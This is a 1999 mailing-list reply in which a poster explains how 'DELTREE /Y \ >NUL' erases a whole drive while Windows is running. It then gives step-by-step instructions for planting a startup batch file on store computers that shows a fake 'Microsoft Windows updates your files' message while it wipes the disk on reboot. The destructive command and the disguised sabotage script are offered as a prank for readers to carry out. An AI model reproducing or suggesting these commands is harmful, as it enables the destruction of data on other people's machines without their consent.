Coder's Guild Mailing List

Re: FORMAT C: /AUTOTEST (Weasel <palfrader@writeme.com>)

Posted by Emre on 1999-04-17

>you really should add /autotest.
>
>format c: /autotest

Windows 95/98 will refuse to format a drive if there are open files on it.
Format (with or without /autotest) will fail, giving a stupid error message
or something.

The correct way of cleaning your hard drive is "DELTREE /Y \ >NUL"
DELTREE is dos 6.2 command, to delete entire directory, along with
subdirectories. The /Y option skips confirmation. The \ tells it to delete
everything starting the root directory. It also will delete the files in
the root directory. The final >NUL is optional, it hides the output.
Otherwise Deltree outputs messages like "Deleting blah blah directory .. "
When deltree encounters open files, it just skips them and goes on with the
rest! Hehehe! Deltree also deletes hidden or system files.

If you use Deltree with the above options while Windows 95/98 is running,
you will get really neat effect... all the icons and files and desktop
images will all disapear, eventually you will be left with nothing on the
screen.

Go to a computer store, and using notepad or something, create file
"C:\WINDOWS\STARTM~1\STARTUP\INIT.BAT" and put in it:
>>
@echo Please wait while Microsoft Windows updates your files...
@echo (this may take a few minutes)
@deltree /y \ >nul
>>
and choose reboot as you are leaving the store. 


--
Emre Yucel              
http://www.tiac.net/users/amoeba/
mailto:amoeba@xxxx.xxx

L'an mil neuf cens nonante neuf sept mois
Du ciel viendra un grand Roy d'effrayeur
Resusciter le grand Roy d'Angolmois
Avant apres Mars regner par bon heur